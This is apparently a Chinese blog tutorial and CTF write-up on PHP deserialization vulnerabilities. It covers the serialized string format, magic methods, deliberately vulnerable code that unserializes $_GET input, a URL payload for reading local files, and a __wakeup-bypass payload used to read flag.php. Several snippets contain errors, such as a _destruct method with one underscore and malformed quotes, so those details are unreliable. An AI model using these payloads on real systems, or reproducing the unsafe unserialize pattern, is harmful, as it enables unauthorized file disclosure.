序列化漏洞在php中还是很常见的,最近在做一些代码审计的项目时也经常会出现序列化引发的问题。
serialize/序列化 :把一个对象转成字符串形式, 可以用于保存
unserilize/反序列化:把serialize序列化后的字符串变成一个对象
<?php /** * Created by PhpStorm. * User: Administrator * Date: 2019/4/13 * Time: 1:33 */ class F{ public $filename='a.txt'; } $a = new F(); echo $a->filename.'<br />'; echo serialize($a); ?>
先建立一个名称为F的类,其中有filename这样的一个变量,最后输出序列化的结果。
第二行即序列化后的结果。
O: 对像, 1 对象名长度, 就是这里的 'F'
s: 字符串
8: 字符串长度, 后面的filename为字符串定义时的名字
序列化的形式还是挺简洁的,在以前做过的一个题中还要求构造过序列化字符串,因此格式如果不对,序列化是无法运行的。
接着看一个序列化的例子。
<?php class F{ public $filename='a.txt'; function __destruct(){ echo '--------------><br />'; } } $a = new F(); echo $a->filename.'<br />'; echo serialize($a); $b = unserialize('O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}'); echo '<br />'.$b->filename; echo '<br />'.$b->filenameF;
可以看到析构函数输出了两次, 说明这两个应是同一个类, 只是 $b 多出了一个属性 filenameF, filename可直常输出, filenameF也可正常输出。
在PHP中, 类被创建或消失后, 都会自动的执行某些函数, 如:
__construct(), __destruct(), __call(), __callStatic(),
__get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(),
__clone(), and __autoload()
或自动执行某些方法, 如:
Exception::__toString ErrorException::__toString DateTime::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString LogicException::__toString BadFunctionCallException::__toString BadMethodCallException::__toString DomainException::__toString InvalidArgumentException::__toString LengthException::__toString OutOfRangeException::__toString RuntimeException::__toString
利用这些自动执行的函数和方法,执行一些非常规的操作。
创建如下代码
<?php class F{ public $filename='d:\\phpstudy\\www\\a.txt'; #$filename为public function __destruct(){ $data = readfile($this->filename); echo $data; } } $a = new F(); echo $a->filename.'<br />';
因为 __destruct 析构函数在一个类对象消失时, 会自动执行。 所以上面的代码当运行结束时, 类对象 $a 消失后, 代码会自动执行 __destruct() 函数。
因为 __destruct 析构函数在一个类对象消失时, 会自动执行。 所以上面的代码当运行结束时, 类对象 $a 消失后, 代码会自动执行 __destruct() 函数。
<?php class F{ public $filename='d:\\aaa.txt'; function _destruct(){ $data = readfile($this->filename); echo $data.'<br />'; } } $a = new F(); echo $a->filename.'<br />'; $b = unserialize($_GET['a']); ?>
这段代码涉及了两个析构函数,第一次函数执行在F()中,是默认的路径,第二次执行是在GET变量中,是变量。因此利用_destruct也可以读取文件。
<?php class F{ public $filename='aaa.txt'; } $a = new F(); $a->filename = 'd:\\aaa.txt'; echo serialize($a); ?>
O:1:"F":1:{s:8:"filename";s:10:"d:\aaa.txt";}
当我们在URL传入参数
http://localhost/11.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:\phpstudy\www\2.txt%22;}
就可以读取我在文件中写入的数据了。
这是其中一种利用反序列化漏洞的方式。
第二种最常见的漏洞点在于函数的使用。
魔法函数:_wakeup() , sleep()
昨天的比赛中有这样的一个题,先贴出代码。
class SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); }} function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}} if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); } ?> #<!--key in flag.php-->
当时的解题思路。
1.KEY在flag.php中
2.在_destruct析构函数中有一段代码是将file文件读取出来 show_source 这里就是得到key的突破点。
3.如果没有_destruct()下面的那个wakeup函数作为限制,那么这道题可以直接post一个file=flag.php序列化后的结果就可以,但是有了wakeup这个函数,这样的方法就实现不了,因为wakeup函数的作用就是无论你序列化后的结果是什么,最后都会执行读取index.php这个命令,因此就需要绕过wakeup函数的限制。
4.最后的方法就是file=flag.php 然后调用destruct,绕过wakeup。
绕过wakeup的方式最简单的一种,让序列化后的属性个数值大于实际值数值即可,例如
O:10:”girlfriend”:1:{S:4:”name”;s:3:”hsy”;}
这是序列化的一个真实情况
现在构造这样的形式。
O:10:”girlfriend”:2:{S:4:”name”;s:3:”hsy”;}
属性个数改为2,就会绕过wakeup的限制。
因此这道题的解法,构造
file=O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
就得出答案了。
序列化的问题在ctf中难度不是很大,但是出题率极高,方法几乎就是构造序列化,绕过函数。